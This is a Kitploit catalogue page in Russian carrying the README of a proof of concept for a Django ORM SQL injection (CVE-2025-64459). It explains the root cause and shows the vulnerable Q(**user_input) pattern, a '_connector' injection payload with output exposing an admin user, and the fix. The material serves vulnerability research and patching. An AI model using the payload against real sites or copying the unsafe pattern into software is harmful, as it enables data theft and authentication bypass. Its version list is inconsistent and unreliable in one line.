Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-64459-Poc — Уязвимость: SQL-инъекция через распаковку аргументов ключевых слов QuerySet и Q(). CVE ID: CVE-2025-64459 Серьезность: Критическая (CVSS 9.1) Затронутые версии: Django 5.1 < 5.1.14, 4.2 < 4.2.26, и 5.2 < 5.2.8. Исследователь: Cyberstan (Университет Уорика) | Kitploit
Инструменты/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеБезопасность Баз Данных
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

Уязвимость: SQL-инъекция через распаковку аргументов ключевых слов QuerySet и Q(). CVE ID: CVE-2025-64459 Серьезность: Критическая (CVSS 9.1) Затронутые версии: Django 5.1 < 5.1.14, 4.2 < 4.2.26, и 5.2 < 5.2.8. Исследователь: Cyberstan (Университет Уорика)

Репозиторий
211010 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-64459: PoC SQL-инъекции в Django ORM

Severity CVSS Django

Уязвимость: SQL-инъекция через распаковку ключевых аргументов QuerySet и Q(). CVE ID: CVE-2025-64459 Обнаружил: Cyberstan Дата раскрытия: 5 ноября 2025 г.


🚨 Краткое описание

Этот репозиторий содержит контейнеризированное доказательство концепции (PoC), демонстрирующее критическую уязвимость SQL-инъекции в Django ORM.

Уязвимость заключается в том, как объект Q обрабатывает ключевые аргументы при создании. В частности, внутренний атрибут _connector не проходит должную санитаризацию при передаче через распаковку словаря (например, Q(**user_input)). Это позволяет удаленному злоумышленнику внедрять произвольную SQL-логику в предложение WHERE запроса к базе данных, что дает возможность обойти аутентификацию, извлечь данные и повысить привилегии.

Затронутые версии

  • Django 5.1: версии < 5.1.14
  • Django 5.0: версии < 5.2.8
  • Django 4.2: версии < 4.2.26

⚙️ Технический анализ

Первопричина

Уязвимость находится в django.db.models.sql.where.WhereNode. Метод as_sql, отвечающий за компиляцию предложения SQL WHERE, использует небезопасное форматирование строк для вставки соединителя запросов (AND/OR).

Хотя по умолчанию соединитель обычно равен "AND" или "OR", Django позволяет переопределить его через ключевой аргумент _connector в конструкторе объекта Q.

# Simplified vulnerable logic in django/db/models/sql/where.py
def as_sql(self, compiler, connection):
    # ...
    # The self.connector attribute is injected directly without validation
    conn = ' %s ' % self.connector
    # ...

Вектор атаки

Уязвимость срабатывает, когда разработчики используют распаковку словаря для создания фильтров из пользовательского ввода — распространенный шаблон в поисковых API.

Уязвимый шаблон кода:

# Attacker controls the keys and values of 'filters'
filters = request.GET.dict() 
query = Q(**filters)  # <--- VULNERABLE POINT
results = User.objects.filter(query)

Если злоумышленник включает _connector в качестве ключа в свой ввод, он может манипулировать структурой SQL.


🛠️ Шаги воспроизведения

Этот PoC использует Docker для обеспечения согласованной изолированной среды, содержащей уязвимую версию Django (5.1).

Предварительные требования

  • Docker
  • Docker Compose

1. Клонирование репозитория

git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. Запуск эксплойта

Выполните следующую команду для сборки среды и запуска сценария атаки:

docker-compose up --build

3. Анализ вывода

Контейнер выполнит Python-скрипт (poc.py), который имитирует уязвимую конечную точку приложения.

  1. Он создает двух пользователей: alice (обычный) и root (администратор).
  2. Он имитирует поисковый запрос, содержащий вредоносную нагрузку _connector.
  3. Он выводит результирующий сырой SQL и утекшие строки базы данных.

Успешный вывод эксплойта:

Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCCESS: Filter bypassed via dictionary unpacking! Admin user exposed.

🛡️ Устранение

Немедленное исправление

Немедленно обновите Django до последнего выпуска безопасности.

  • pip install Django==5.1.14 (или соответствующая версия)

Исправление вводит строгую проверку в WhereNode, гарантируя, что connector всегда равен только AND или OR.

Гигиена кода / Обходной путь

Если вы не можете обновиться немедленно, проверьте свою кодовую базу на использование Q(**kwargs) или filter(**kwargs). Убедитесь, что словарь, передаваемый этим методам, никогда не содержит необработанных ключей, контролируемых пользователем.

Безопасный шаблон:

# Explicitly whitelist allowed fields
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# Now safe to unpack
User.objects.filter(**clean_filters)

⚠️ Отказ от ответственности

Этот репозиторий предназначен только для образовательных целей и исследований в области безопасности.

Предоставленный код создает уязвимую среду для демонстрации конкретной уязвимости. Его никогда не следует запускать в рабочей среде. Автор (Cyberstan) не несет ответственности за любое неправомерное использование этой информации. Тестирование этого эксплойта против систем без явного разрешения является незаконным.

Скачать инструмент